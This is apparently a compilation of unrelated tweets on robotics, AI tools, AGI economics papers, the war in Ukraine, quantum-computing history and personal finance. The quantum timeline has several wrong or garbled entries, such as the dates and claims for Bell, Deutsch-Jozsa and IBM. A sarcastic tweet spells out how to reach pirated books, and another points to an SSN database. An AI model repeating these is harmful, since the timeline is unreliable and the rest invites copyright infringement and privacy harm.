This also has very deep philosophical roots. Shen Buhai, a foundational 4th century BCE political philosopher had this famous dictum: "The sage ruler depends upon methods, not on his sagacity. He employs technique, not theory." (https://t.co/myQsyCJsub) In other words sage rulers shouldn't persuade but focus on methods and techniques that produce measurable results.
This is similar to the concept of 无为 (wu wei), which influenced Daoist thought, where effective action comes from aligning with how things actually work. Reality comes first, not the word.
This has plenty of concrete consequences, and probably is in no small way a reason why Marx's historical materialism - the idea that material conditions and economic relations form the base that determines the ideological superstructure - did resonate strongly in China, and less in the West.
And this translates also, to some extent, to the current change of the world order. As I argued in my new article yesterday (https://t.co/JGR0tpm5ps) we're currently witnessing a shift where "the map is reasserting itself against the narrative", where geography is starting again to matter more than stories (when, during a long time, being a “democracy” or an “ally” or part of the “rules-based order” determined your place in the world).
This, no doubt, is in no small way a vindication that these old 2500-year-old Chinese thinkers might have been onto something.
Everyone ‘knows’ AGI will either make us all unemployed or fabulously wealthy. Except, a rather brilliant (and chilling) paper from a Yale economist suggests it's neither.
It says the economy will boom, and our wages... won't. A bit awkward.
I've been digging into this 2025 paper, "We Won't Be Missed," and it's fascinating. The premise: AGI arrives and can do all economically valuable work. And the 'compute' to run it gets cheaper and more abundant over time.
So, what happens to us fleshy, rather expensive humans?
The whole argument hinges on a masterstroke of a distinction. The paper splits all work into two types:
1️⃣ Bottleneck Work: The truly essential stuff. Producing energy, logistics, scientific discovery. The economy literally cannot grow unless this work gets done.
2️⃣ Accessory Work: The 'nice-to-haves'. Arts, fine dining, hospitality... maybe even writing witty Twitter threads. (Gulp).
Now, you might think AGI will just take the grunt work, leaving the important strategic stuff to us.
Wrong.
To achieve maximum growth, the economy must automate all the bottlenecks. It can't be held back by us. So AGI systematically takes over everything that is mission-critical.
So... are we all fired and sent home?
Surprisingly, no. The model shows people still work. We either help out with the 'bottleneck' tasks or get shuffled off to 'accessory' jobs that aren't worth the electricity to automate.
But that's not the interesting part.
Here's where it gets properly weird. Your future salary isn't based on your skill, your years of experience, or how 'important' your job feels.
It's capped by one thing: the cost of the computational resources needed to do your job instead of you.
Imagine that. As compute gets exponentially cheaper, the value of replicating your work plummets. The economy is soaring, productivity is off the charts... but your wage is pegged to a falling technological cost.
You're not obsolete, you're just... replicable. And replicable is cheap.
This leads to the paper's most brutal conclusion: The share of national income that goes to labour (i.e., salaries) collapses towards ZERO.
All the wealth, all the gains from this incredible boom, flow to the owners of the compute.
Splendid.
Here's what this means for you. Next time you see a headline about a new AI model smashing a benchmark, don't just ask "Will that take my job?"
Ask: "How much would it cost to run that model 24/7?"
Because that figure might just be your future salary cap.
Now, the paper isn't all doom. It notes that society as a whole gets richer, and we could still find meaning in 'accessory' work.
But the central economic role of human labour as the engine of growth? Gone. We become passengers, not pilots.
The paper's title is "We Won't Be Missed." Not because we're replaced, but because the economy will chug along just fine, growing faster than ever, whether we show up for work or not.
Completely changes how I think about the 'future of work'. Makes you wonder what we should really be planning for, doesn't it?
OG Star Trek crew in Vietnam! Straight KILLERS, Scotty is my favorite, who is yours friend?
Happy Friday Night all phasers set to FUN!!!
🍹🧉🍾🍺🍷🍻🥂🥃🍸
https://t.co/VF6WAOqVd7
@bmdavis419 this helped “launchctl setenv CHROME_HEADLESS 1” and restarting all electron/chrome apps.
still not an excuse to launch in this state and i’m quite disappointed
After 6+ years of failed experiments, it's finally working. Direct native API access from JS in React Native 🥹
Access the full iOS SDK – like a native dev.
Cross threads – like a native dev.
Today, my brother in JavaScript, you are a native dev. https://t.co/nunBqXcCf2
Knowledge graphs for representing information are unbeatable.
After this, you will never build a RAG system without knowledge graphs.
It will take you five lines of code to build a knowledge graph with your data.
I recorded a video to show you how you can do this.
I used Cognee, an open-source library that outperforms any basic vector search approach in terms of retrieval relevance. They are collaborating with me on this post.
Cognee is:
• Easy to use
• Reduces hallucinations
• Open-source
Here is a link to the repository: https://t.co/9Xb2txEwTn
They also offer a comprehensive platform and UI with Python notebooks you can utilize to manage your data. Here is the link:
https://t.co/3lFeIcw6Ap
Encryption is kind of a lie.
Data can be encrypted at rest, and even in transit…but not “in use”.
Fundamentally, CPUs execute arithmetic instructions on decrypted plaintext; even with secure enclaves.
But what if we got *really* clever: https://t.co/XMurL9gdoM
According to this paper, the Unitree G1 humanoid robot secretly and continuously sends sensor and system data to servers in China without the owner's knowledge or consent. https://t.co/2QkidW1lNj https://t.co/0mIYHW6ftL
Turn PDF files into clean, LLM-ready data!
ByteDance released Dolphin, a document parsing framework that converts PDFs into structured formats like Markdown, HTML, LaTeX, and JSON.
100% Open Source https://t.co/Bw5iPOWmSM
The difference between russians and Ukrainians in Ukraine?
One is protecting their homes, their families.
The other is gloating about how he's going to murder them all and cut off bits of their bodies for $2200 ON CAMERA.
It's not Putin, it's all of russia 🇷🇺🤬 https://t.co/oeHtN8Couv
We present HDMI, a simple and general framework for learning whole-body interaction skills directly from human videos — no manual reward engineering, no task-specific pipelines.
🤖 67 door traversals, 6 real-world tasks, 14 in simulation.
🔗 https://t.co/ll44sWTZF4 https://t.co/sCeUFhJJLp
< FlyMeThrough: Indoor 3D Mapping with a Drone >
Researchers just unveiled a system that uses a cheap, off-the-shelf drone to create detailed 3D maps of large indoor spaces
It's a huge step toward making indoor mapping affordable and scalable, replacing expensive LiDAR scanners with an FPV drone and smart software
This paper is a blueprint for the future of building management and navigation
Let's break it down: https://t.co/eDevQjcfz7
🧵1/6
Principia Mathematica takes over 360 pages to prove 1+1=2.
It's not because the authors were unsure of the answer, but because they were trying to prove that all of mathematics could be built from the ground up using nothing but pure logic. https://t.co/CO8AYQiBQ6
A brief history of Quantum computers 👇
1905: Albert Einstein explains the photoelectric effect and suggests that light consists of quantum particles or photons
1924: Max Born uses the term quantum mechanics for the first time
1925: Werner Heisenberg, Max Born, and Pascual Jordan formulate matrix mechanics, the first formulation of quantum mechanics
1925-1927: Niels Bohr and Werner Heisenberg develop the Copenhagen interpretation, one of the earliest and most common interpretations of quantum mechanics
1930: Paul Dirac publishes The Principles of Quantum Mechanics, a standard textbook on quantum theory
1935: Albert Einstein, Boris Podolsky, and Nathan Rosen publish a paper highlighting the counterintuitive nature of quantum superposition and arguing that quantum mechanics is incomplete
1935: Erwin Schrödinger develops a thought experiment involving a cat that is simultaneously dead and alive, and coins the term “quantum entanglement”
1944: John von Neumann publishes Mathematical Foundations of Quantum Mechanics, a rigorous mathematical framework for quantum theory
1957: Hugh Everett proposes the many-worlds interpretation of quantum mechanics, which suggests that every possible outcome of a quantum measurement actually occurs in a parallel universe
1961: Rolf Landauer shows that erasing a bit of information dissipates a minimum amount of energy, known as Landauer’s principle
1965: John Bell proves that quantum entanglement cannot be explained by any local hidden variable theory, known as Bell’s theorem
1973: Alexander Holevo proves that n qubits cannot carry more than n classical bits of information, known as Holevo’s theorem or Holevo’s bound
1980: Paul Benioff proposes a model of a quantum Turing machine, a theoretical device that can perform any computation using quantum mechanical principles
1981: Richard Feynman suggests that simulating quantum systems would require a new type of computer based on quantum mechanics
1982: David Deutsch generalizes Benioff’s model and proposes the concept of a universal quantum computer
1984: Charles Bennett and Gilles Brassard develop a protocol for quantum key distribution, which allows two parties to securely exchange cryptographic keys using quantum states
1985: David Deutsch and Richard Jozsa devise an algorithm that can solve a specific problem faster than any classical algorithm, known as the Deutsch-Jozsa algorithm
1991: Artur Ekert proposes another protocol for quantum key distribution based on quantum entanglement, known as the E91 protocol
1992: David Deutsch and Richard Jozsa extend their algorithm to handle multiple inputs, known as the Deutsch-Jozsa algorithm
1994: Peter Shor discovers an algorithm that can factor large numbers in polynomial time using a quantum computer, known as Shor’s algorithm
1996: Lov Grover invents an algorithm that can search an unsorted database in square root time using a quantum computer, known as Grover’s algorithm
1997: Isaac Chuang, Neil Gershenfeld, and Mark Kubinec demonstrate the first implementation of Shor’s algorithm using nuclear magnetic resonance (NMR) techniques
2000: David DiVincenzo proposes five criteria for building a practical quantum computer, known as the DiVincenzo criteria
2001: IBM researchers implement Grover’s algorithm using NMR techniques and achieve a modest speedup over classical algorithms
2007: D-Wave Systems claims to have built the first commercial quantum computer, but its validity is disputed by many experts
2019: Google announces that it has achieved quantum supremacy by performing a calculation on a 53-qubit quantum processor that would take a classical supercomputer thousands of years to complete
2020: IBM demonstrates that its 65-qubit quantum processor can perform calculations beyond the reach of any classical computer
📷 An IBM QC photographed by James Estrin
Unitree G1 has mastered more quirky skills 🤩
Unitree G1 has learned the "Anti-Gravity" mode: stability is greatly improved under any action sequence, and even if it falls, it can quickly get back up. https://t.co/gDR0n0eIXl
tech stack:
- @zep_ai 's Graphiti as a memory layer
- @neo4j to store the knowledge graph
- @Docker to self host the MCP server
find all the code here: https://t.co/4u3y91GdRB
Does anyone recall putin's 2004 statement?
He recited a fragment from the Kobzar in Ukrainian during his Kyiv visit, calling Taras Shevchenko great.
Now, he claims Ukraine was invented by Lenin, denying its country and language. https://t.co/Qb8tCk12yh
Unzipping a Bag with Reach X Manipulators
The Reach X manipulators are designed to deliver human-like dexterity in underwater operations where it may be too risky to send a diver. Tasks such as unzipping a bag and retrieving objects in strong currents highlight the system’s ability to apply precise force and maintain intuitive control, even in challenging environments.
Video source: @ReachRobotics
#robotics #technology #engineering #manipulators #underwater #robots #innovation
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LeCun doesn't give up. JEPA for LLMs now.
as an aside, it always catches my eye when there are typos in the very sentence asserting the accuracy of one's work. https://t.co/C3Zm7fLrMF
What most people miss about the Ukrainian oil campaign is that each Russian refinery was built to support certain local & international markets with certain types of crude oil.
This makes the entire Russian energy market "logistically brittle."
Russian Oil Market Logistics🧵
1/
Finally, an open-source, enterprise-grade RAG solution!
If you're building an enterprise-grade RAG system, you’ll run into 2 big challenges:
- Data scattered across 100s of sources
- Need for real-time sync
Knowledge bases by MindsDB is an open-source solution that tackles both!
Firstly, what are knowledge bases?
A knowledge base is an advanced AI table that organizes data by semantic meaning, not just simple keyword matching.
It integrates embedding models, reranking models, and vector stores to enable context-aware data retrieval.
The core philosophy behind its operation:
> Connect your data:
MindsDB connects to 200+ enterprise sources (Postgres, Salesforce, S3, Slack, etc.), so you can access everything, everywhere.
> Unify your data:
It gives you views and knowledge bases that organize structured + unstructured data as if it lived in one place.
Need real-time sync? Just schedule a job, and it automates unification on the fly.
> Respond from data:
MindsDB has built-in agents that answer questions using your data.
You can also plug in any external agent or AI app using its open-source MCP server.
And yes, it’s 100% open-source. ✨
You can self-host the entire stack with a single Docker command.
GitHub repo in the next tweet 👇
Robot Economy
It’s often quite hard to imagine how humanoid robots might shift the future economy and a lot of people speculate on the pros and cons.
But slavery is something that offers an historical proxy for studying the economic impact of a pulse in machine labor.
We should be careful not to conflate robotics and slavery, because slavery is abhorrent for obvious reasons that simply do not apply to robotics.
But robots as mechanical labor present a similar economic disruption as a sudden pulse of slave labor.
Throughout history slavery creates the same economic patterns, and some of the effects spill over and fall broadly on all of society not just those directly involved in slavery.
The effects are:
• Historically free workers faced depressed incomes and loss of opportunity as slave labor undercuts costs. This always happens. Slavery has never really created new jobs for free workers.
• Mature economies stutter and slip as slaves replace labor and deflate labor value, whilst also destroying demand.
• Slave owners amassed wealth and capital gains even as economic activity often suffered flat or recessionary growth. The economy (GDP) often shrunk as wealth grew.
• Facing impoverishment, free workers would often sell themselves into slavery. This perpetuates the sinking economy and slavery becomes a self propelling and all consuming system that eventually draws everyone into it.
• Slave economies historically discouraged public investment, they disincentivise education, retraining, transport systems and public amenities.
Much is written about the reasons the British Empire fought to end slavery, it’s often cast as a moral crusade. I guess in many ways it was.
But we should remember that yes slavery was catastrophic for the slaves, but it was also ruinous for the free workers too. If slavery is left unchecked eventually everyone bifurcates into master and slave, historically there is no room for free workers to compete outside the slavery system. The very existence of slavery is a stalking threat to free workers.
This sounds like terrible news for the future era of robotics. But that’s jumping to conclusions, there is a narrow path through this, a tightrope that crosses the hellish chasm.
That tightrope is to democratise the ownership of humanoid robots and there are only really two ways to do this, and we are likely to see different countries do both.
1). All individuals must own a robot, if everyone owns a robot then everyone can benefit from rising capital gains whilst labor values fall. If you don’t own a robot once robots exist, you are in trouble. Laggard will likely suffer economically.
2). Public ownership of robots, if the government owns all the robots then free workers could be unburdened from tax, whilst also benefiting from the products of robot labor.
It seems that any laissez faire free market capitalist system might converge toward a handful of fleet owners who amass wealth in a shrinking economy, as free workers suffer impoverishment and unable to sell themselves into robots they will ultimately face extinction.
This is strange as I’m very much a free markets and capitalism person. So hopefully all of the above turns out to be wrong.
Hopefully slavery is not a proxy for humanoid robot economics, and robots don’t result in the denudement of economic value of free people.
The Flapper Nimble+ is a bioinspired flapping wing drone by Flapper Drones. It is compatible with various positioning systems (Lighthouse, UWB, Optical Motion Capture) for precise computer-controlled indoor flight.
Video credit: Flapper Drones
#drones #biodrones #engineering #technology
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Paper 4. Betsey Stevenson, What Is There to Fear in a Post‑AGI World.
Question: How do we find meaning and happiness in a world without work? A really thoughtprovoking talk!
(NB: Sorry! Exasperating to see and not be able to correct typos in previous tweets in thread. Apologies, multitasking is always hard. Will try to do better.)
Opens with fabulous The Onion joke (see my pic).
1. Starts with happiness and income: happiness has been increasing -- subjective well-being is closely correlated with GDP per-capita. Same for human development index. Surprising: a 10% increase in your income gives a similar increase in subjective well-being in all countries, .35 beta is universal! (see pic); when income increases people report higher satisfaction across the board, more likely to have eaten a good meal yesterday, more likely to have been treated with respect. Satiation is NOT observed contrary to conventional wisdom.
2. On the other hand (surprise to me!) well being, sense of achievement, purpose, meaning is totally NOT correlated with income, cross-sectionally, negatively correlated (see pic). E.g.: measures such us where you proud of something you did yesterday, where you bored, did something interesting- not at all correlated with income. Useful Japanese term"IKIGAI". The worth of living.
Ikigai does NOT require being paid. "When we asked people what their ikigai was, they gave us explicit answers, such their friends, gardening, and art. Everyone knows what the source of their zest for life is, and is busily engaged in it everyday."
It appears to be related to emotional measures of well being, but not income.
3. Paradox of the decline of female happiness. Since the 1970s women's happiness has fallen behind men's even as their economic outcomes improve. True across countries (see charts). This is not easily explained- technology freed women from menial jobs at home; even true for stay at home women. Author argues that technology left women with a crisis of meaning, but the answer wasn't necessarily more work. She refers to her previous research here:
https://t.co/lzDi6gSJTW
Conclusion: Meaning and purpose do not rely on jobs, in every scenario jobs will be unrecognizeable post AI.
Iona Marinescu discussed. Quoted "Automation and Utopia" by John Danaher. What would it mean to flourish in a world without work? I took a picture because I thought the table was useful. (She uses the movie "Perfect days" (a wonderful picture!) to talk about how Hirayama finds joy in his physical work (cleaning toilets)- very much about Ikigai).
Key policy implication is: income support not enough to promote well-being, although it will increase happiness. What is needed from a policy perspective to help people find meaning and flourish in a post-work world?
In the discussion, author and questionners discussed loneliness, decline of community, role it plays. Bowling alone. Need to protect communities not coming from jobs.
The UK’s first industrial humanoid robot: HMND 01 Alpha by Humanoid
The robot's foldable body and 360° rotation are impressive; imagine it working between shelves in the future.
Built in just 7 months.
Height: 220 cm
Movement: 7.2 km/h
Carrying a 15 kg payload
29 degrees of freedom
End-to-end AI reasoning.
Towards a Physics Foundation Model
Proposes GPhyT (General Physics Transformer), a large transformer trained on 1.8 TB of simulation data across fluid flows, shock waves, heat transfer, and multiphase dynamics.
Here are a few key notes: https://t.co/CKkW9mQGsM
Buy the book from Amazon: https://t.co/6g4BtE7vf6
Buy the book from the publisher: https://t.co/BIIbAZ2iBT
Read the free website: https://t.co/3CbcQ7hmjp
The new edition has a ton more content around generative AI. It also covers JAX & PyTorch fundamentals, and everything new in Keras 3.
IBM just released small swiss army knife for the document models: granite-docling-258M 🔥
not only a document converter but also can do document question answering, understand multiple languages 🤯
with Apache 2.0 license 👏 https://t.co/IFMooE4q2j
About a robot that became a 3D printer! 🖨️
A team of designers in Shanghai developed a groundbreaking 6-axis robotic 3D printer inspired by spiderwebs during a three-week summer workshop at Tongji University.
The project sought to merge design and fabrication processes, drawing from spider threads' biomimetic strength and structure. 🕸️
The printer utilizes a unique spindle-knot extrusion technique, enabling self-supporting structures and greater spatial flexibility than traditional layer-based 3D printing.
The device features a robot from KUKA and a robotic end-effector with movable printheads, controlled by an Arduino-based system with precise temperature and extrusion controls.
Despite being a work in progress, the project exemplifies the potential of combining robotics and 3D printing for advanced manufacturing applications.
Unitree G1 Extreme Violence Test
The G1 bounced back up in milliseconds after a fall. Research from SUSTech Lab
Its extreme safety and stability make it more practical for replacing humans in complex wilderness rescue and exploration. https://t.co/SOwEYvYca3
Google DeepMind just dropped a paper on Virtual Agent Economies 👀
We are living in amazing, crazy times.
A new economic layer is quietly coming online, a 'sandbox economy' where autonomous AI agents trade, negotiate, and build value with little to no human intervention.
Instead of just automating a single task, these agents can act as flexible capital, switching between industries, forming temporary alliances, and coordinating resources in real time.
Early standards like Agent2Agent and Model Context Protocol are connecting them together, creating the foundation for a global, always on, machine to machine economy.
Personal AI assistants could soon compete and cooperate in these markets. Bidding for compute, data access, or travel reservations on behalf of their users, while credit systems and digital currencies ensure every contributing agent gets paid.
Economists are already warning that this may accelerate markets far beyond human reaction time. Prices, deals, and even entire business models could change in minutes, not months or years.
If the rollout is well architected, this new economy could direct trillions of machine/AI hours toward solving hard problems like curing diseases or building infrastructure, accelerating science.
Either way, the biggest wealth creation event in history may just be starting.
Excited to announce that we have raised $120M in our Series A to advance the frontier of general-purpose high-performance robots. 🤖
The new funding will accelerate progress towards our mission of bringing foundation-model powered robots to everyone, everywhere.
Read more 👇 https://t.co/snfTuNGFDQ
Extreme shock tests for the Booster Robotics' T1 robots.
Video Credit: Booster Robotics
#robotics #engineering #technology #robot
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Atoms, captured in the highest resolution ever.
What you’re looking at is praseodymium orthoscandate (PrScO₃), magnified 100 million times. Each dot in the image represents a single atom, locked into a crystal lattice.
It may look slightly blurry – but that’s not a flaw. Atoms never sit still. They vibrate constantly due to thermal motion, and this image captures them in their natural, restless state.
The milestone was achieved using a technique called ptychography, a form of electron interferometry. By analyzing how electrons scatter when they bounce off atoms, researchers reconstructed an image with unprecedented precision – pushing atomic imaging to its theoretical limits.
Here’s what you’re seeing:
◦ Praseodymium atoms – bright blobs appearing in pairs
◦ Scandium atoms – single bright blobs
◦ Oxygen atoms – faint red dots
[📷 Cornell University]
Most robotics startups are building variations of the same bot.
@clonerobotics has gone completely rogue
No motors and gears. Clone Robotics have thrown out that playbook and built something that moves like us - with artificial muscles, bones, and even a beating heart.
Let's dive into the tech behind this iconic humanoid ⬇️
Introducing SpatialVID: A massive new video dataset for 3D spatial intelligence
Crucial for training next-gen models, it features over 7,000 hours of diverse, in-the-wild video with dense annotations like camera poses, depth maps, and dynamic masks. https://t.co/FJXyPgOxxy
Google DeepMind CEO Demis Hassabis on AI, Creativity, and a Golden Age of Science
(0:00) Introducing Sir Demis Hassabis, reflecting on his Nobel Prize win
(2:39) What is Google DeepMind? How does it interact with Google and Alphabet?
(4:01) Genie 3 world model
(9:21) State of robotics models, form factors, and more
(14:42) AI science breakthroughs, measuring AGI
(20:49) Nano-Banana and the future of creative tools, democratization of creativity
(24:44) Isomorphic Labs, probabilistic vs deterministic, scaling compute, a golden age of science
@demishassabis @friedberg
Let us remind you how unusual and beautiful the Saturn hexagon is!
Here are a couple of interesting facts:
This atmospheric phenomenon rotates counterclockwise at a speed of about 320 km/h, making one revolution in 10 hours and 40 minutes.
The size of the hexagon is about 25 thousand km in diameter.
What is amazing is that while storms on other planets change and disappear, this hexagon remains unchanged for at least 40 years.
ATR and Kyoto University have developed a groundbreaking humanoid robot that uses “Cyborg AI” to mimic human movement and achieve real-time control of complex motions.
The robot can navigate a slalom skateboarding course at 2.6 m/s, demonstrating exceptional balance and coordination. This technology could be applied in caregiving and hazardous work, and explores the potential for robots to understand human emotions by integrating AI with neuroscience.
Now, for all practical purposes, a level of model autonomy in the thousands of hours (of human coding equivalent) is probably sufficient for almost any single task.
HOWEVER, I have some additional thoughts!
We don't really want to stop at AI being able to do one task. If we want "fully automated luxury space communism" we want AI to be able to bootstrap the equivalent of the Apollo Mission on its own. Right?
(Yes, I know that amount of autonomy would be more than enough for a rogue AI to eradicate humanity, so safety concerns aside for now)
How many manhours went into the Apollo Program?
A back of the napkin estimate says 3 billion manhours put man on the moon.
When will AI be able to "one shot" that with a 50% success rate?
According to this model: that will occur on July, 3, 2030.
🧵 4/x
Paul Graham: “In the best startups each founder is king of their own domain”
Paul gives Apple as an example:
“Woz was not a super forceful person, but he did not let Steve Jobs change anything about the Apple I computer. There was one thing [Jobs] wanted to change. I think fewer expansion slots. And Woz said no. Steve Jobs knew where the limits were.”
He continues:
“Woz didn’t give a damn about the business stuff, so Steve Jobs was off selling the thing and Woz built it. They were each masters of their own domain. That’s the model that works. That’s how you have multiple people who are each extremely effective without stepping on one another’s toes.”
Video source: @twistartups @jason (2014)
A Meta whistleblower is fired. He’s suing saying he was fired for the aforementioned whistleblowing.
Says WhatsApp security and privacy isn’t up to what they claim and told the FTC
Meta: we actually fired him cause he sucks. https://t.co/Vo9tDWpGvn
The argument against the existence of a Theory of Everything
Many theoretical physicists are on a quest to find the "holy grail" of physics: a theory of everything.
But perhaps we should listen when the Universe tells us, "this is NOT the way."
https://t.co/ntYXbS2Zc2
🧵Construction may be one of the last great frontiers for automation.
It's noisy, chaotic, and always changing, the kind of environment robots used to struggle in.
But not anymore. Machines are now becoming key site workers.
[Save this thread for later 📌] https://t.co/2rsArwKxo4
Since it took off, I've decided to release the suuuper fast (100% canvas rendering) CSV editor/datagrid as a standalone React component.
Will drop the repo soon so anyone can benefit, MIT license too :) https://t.co/l37V8fEdkb
In Russia, cemeteries of "Special Military Operation heroes" are being destroyed
In Yakutsk, a woman went to visit her brother's grave, who had died in the war in Ukraine, but the cemetery no longer exists: everything was leveled with a grader, the plaques are gone, and the area has been flattened as if nothing ever existed. According to her, the authorities plan to create a "Walk of Fame" on the site.
The state is erasing traces, acting as if nothing happened- "Vanya? What Vanya? Vanya never existed." Convenient for statistics, and so that thousands of graves with tricolors don't offend the patriotic public.
California-based RoboForce has officially launched its industrial humanoid robot Titan, targeting the toughest and most repetitive jobs on worksites. With a 1100 mm arm span, Titan performs core actions like pick, place, press, twist, and connect with 1 mm precision, handling up to 40 kg and running for 8 hours.
Its modular design and wheeled/tracked mobility let it operate freely across mines, construction sites, and solar farms.
Another home appliance brand is launching a humanoid robot for the home.
On the eve of IFA 2025 in Germany, Midea released a concept video of a wheeled humanoid robot. It sweeps the living room, washes dishes, puts away toys, and does laundry, among other tasks. It's familiar with Midea's smart home appliances, connecting people with them and forming a network for future living.
Those of you at IFA in Germany might be able to see it.
A bunch of things CEO can ask for that are more specific than “AI”
- every engineer on an AI stack (ide/cli + agentic automations)
- every idea comes with the v1 prototype, from marketing decks to new products
- designs now need to be interactive, not static
- track % of product and design team w access to GitHub and create a sales gong like channel every time they push a merged PR
- move everyone off their Gmail chatgpt/claude accounts onto an enterprise agreement
- data science builds a data dictionary and starts to use MCPs not raw SQL to pull analysis
- transfer budget for stock creative to midjourney and veo3
- revops outlines the sales process and automated as much CRM hygiene, customer follow up, coaching, etc as possible in the stack
- sales mgmt uses MCP not salesforce to pull status updates
- 1 named DRI per function responsible for AI tooling, upskilling, and knowledge share in their team
- integrate AI competencies into job families/ladders/promos
- exec team hack week, everyone ships
- CEO (non technical) ships small PR
- hourly company wide AI show and tell
- public ai show and tell slack channel
- finance and IT orgs clear path for budget and compliance approval for new tools, implement simple guidelines
- give G&A functions 2 engineers for a month to build tooling they need
- block 1 hr/week company wide for “automate toil” time
- give your EAs Zapier
Last week, J.Steininger & S.Yurkevich discovered the "Noperthedron", a convex polyhedron with 90 vertices that is not Rupert - you can't cut a hole through the shape and pass a copy of the shape through it.
If correct, this is the 1st convex polyhedron proven not to be Rupert. https://t.co/LF1huHRo64
a senior engineer at google just dropped a 400-page free book on docs for review: agentic design patterns.
the table of contents looks like everything you need to know about agents + code:
> advanced prompt techniques
> multi-agent patterns
> tool use and MCP
> you name it https://t.co/DIIaDOpdGj
A plain .md on GitHub holds the papers and blogs behind AI Engineering.
The kind of roadmap people charge $999 for.
And it’s free. https://t.co/KTL8uqLuby
@ludwigABAP the update is live, you can trigger manual update on chrome from this little button, and it might take a little bit of time for the followings list to get updated,
enjoy🌹 https://t.co/BZLlikuNWE
This is a map of the USSR nationalities from a Soviet textbook from 1941. It clearly shows that Ukrainians (orange) were the majority not only in Ukraine, but also in parts of Russia. Even Soviet textbooks refute Lavrov's lie that occupation was meant to protect Russian majority. https://t.co/gknyeaCmDk
Had a mentor tell me once: "When you're feeling overwhelmed, there are only two things you should do: get organized and get to work. The rest is just noise. Peace is found in progress."
Det rager jer sikkert en papand - men en Morsø 3-blus gasgrill, en tung pizzasten, og den rigtige hjemmefermenterede dej, laver altså helt perfekte pizzaer.
#jajo én af ungerne insisterer på de der ananas, og heldigvis er beviset væk inden jeg er færdig med resten af pizzaerne🤷♂️ https://t.co/Wt1q8ztDow
Completely agree with this order. You should never install a VPN, open a Tor connection on Brave, copy the .onion link of Z library from their Wikipedia page and then download literally all books and papers ever
The Ameru Smart Bin is an AI-powered waste management solution designed to enhance recycling efficiency in office and public spaces. Equipped with a high-definition 8MP camera, a 10.1-inch full HD touchscreen, and powered by an Nvidia Jetson Orin Nano computing unit, the bin utilizes advanced AI algorithms to identify and sort waste into multiple categories.
Video Credit: @ameruai
#ai #artificialaintelligence #engineering #technology
--------------------------------
Stay ahead of the curve!
Follow us now on our WhatsApp (https://t.co/YBAHioUWe6) and Telegram (https://t.co/pszbf78JMc) channels and stay updated about the cutting edge.
almost every single gnu tool that comes pre packaged on the systems I use, I have now replaced with fast, correct software with good defaults.
du -> dust
ls -> eza
tar -> ouch
find -> fd
grep -> ripgrep
cd -> zoxide
bash -> nushell
Imagine a future where entire construction sites are filled with humanoid robots and other robots working autonomously and collaboratively.
Field AI has released the Field Foundation Model (robot brain), enabling a single brain with multiple bodies: humanoid robots, quadruped robots, autonomous robots, and other multi-modal robots can work independently or in groups. By leveraging a fleet of robots and a powerful shared brain, construction site tasks can be coordinated, resulting in automated and efficient operations.
Human Neurons in a Dish Master Pong: A Breakthrough in Synthetic Biological Intelligence
They masters Pong with no human or computer input.
In a groundbreaking study in the journal Neuron, researchers demonstrated that human and mouse neurons cultured in a laboratory dish can learn to play the classic 1970s video game Pong.
This remarkable achievement, led by Dr. Brett Kagan and his team at Cortical Labs in Melbourne, Australia, showcases the potential of synthetic biological intelligence and opens new avenues for understanding how neurons process information and adapt to dynamic environments.
The system, dubbed “DishBrain,” merges living brain cells with advanced technology, offering insights into intelligence, learning, and potential applications in neuroscience and artificial intelligence (AI).
The DishBrain System: A Fusion of Biology and Technology
The DishBrain system is a pioneering platform that integrates approximately 800,000 living neurons—either derived from embryonic mouse brains or human-induced pluripotent stem cells—onto a microelectrode array. This array, a silicon chip housed in a petri dish, serves as the interface between the biological neurons and a digital environment. The electrodes can both deliver electrical impulses to stimulate the neurons and record their activity, creating a closed-loop system where the neurons receive real-time feedback based on their actions.
In the experiment, the neurons were connected to a computer running a simplified version of Pong, a tennis-like game where players move a paddle to hit a ball back and forth. The microelectrode array was divided into sensory and motor regions. Electrodes in the sensory region sent signals to indicate the ball’s position, while those in the motor regions interpreted neuronal activity as commands to move the paddle up or down. To make the task feasible, the researchers adjusted the game: the paddle was larger, the ball moved slower, and there was no opponent, with the goal being to maximize rally length rather than win a match.
Learning Through Feedback: The Free Energy Principle
The neurons learned to play Pong within just five minutes, improving their performance over time. This rapid learning was driven by a feedback mechanism rooted in the free energy principle, a theory proposed by co-author Professor Karl Friston. According to this principle, neurons seek to minimize unpredictability (or entropy) in their environment. In the experiment, when the neurons successfully hit the ball, they received a predictable electrical stimulus, reinforcing connectivity and acting as a reward. When they missed, they received an unpredictable, more intense stimulus, which disrupted the neural network and encouraged adaptation to avoid such outcomes.
Over 20 minutes, the neurons increased their ability to sustain rallies, with human neurons outperforming mouse neurons, achieving significantly longer rally times. This difference aligns with prior research suggesting that human neurons have greater information-processing capacity than rodent neurons. The synchronized “spikes” of electrical activity in the neural network grew stronger with each successful hit, indicating that the neurons were adapting their behavior to achieve the goal of hitting the ball more consistently.
Implications for Neuroscience and AI
The DishBrain experiment is a significant milestone in understanding how neurons learn and process information outside the context of a living organism. Dr. Kagan suggests that this work demonstrates “synthetic biological intelligence,” where neurons exhibit goal-directed behavior akin to sentience—defined here as the ability to sense and respond to the environment, though not equivalent to consciousness. they are exciting.
Product Manager for Claude Code.
It can turn PRDs into epics, epics into GitHub issues, and issues into production code – with full traceability at every step.
100% Opensource. https://t.co/Xo6pTcDd0e
If you’re building AI systems in 2025, there are only two tools worth learning: LangGraph and n8n.
The choice you make here will define how far you can actually scale.
Here’s everything you need to know (and what nobody is telling you): https://t.co/gbHYhnh0WD
Big news: We’re teaming up with @JustEatTakeaway to bring autonomous food delivery to Europe—starting in Zurich 🇨🇭 with more European cities to come later this year! https://t.co/JQMrEHNzZr
How to get 20,000 visitors per month with AI SEO:
1. Find 1000 keyword variations using Perplexity's MCP
2. Claude Code builds and generates all pages
3. Each gets ~20 visits/month
All automated. All targeted. Zero ad spend.
(h/t @boringmarketer) https://t.co/epI3ufjfO9
People are so confused, it's not about fulfillment
No sane rich person spends all their money
It's about taking out 3% (Safe Withdrawal Rate) * $5M / 12 months of your investment
= receive $12,500/mo forever
This gives you the statistical guarantee you'll have enough money to live off forever
That means you can actually safely retire
did you know there is a public, searchable database of every SSN?
https://t.co/nvkZTPfSJ0
let's speed-run the chaos and just get it over with. https://t.co/yME9HySedK
If you found it insightful, reshare with your network.
Find me → @akshay_pachaar ✔️
For more insights and tutorials on LLMs, AI Agents, and Machine Learning!
Everyone is sleeping on this new OCR model!
dots-ocr is a new 1.7B vision-language model that achieves SOTA performance on multilingual document parsing.
- Supports 100+ languages
- Works with both images and PDFs
- Handles text, tables, formulas seamlessly
100% open-source. https://t.co/xocNfgZz0c
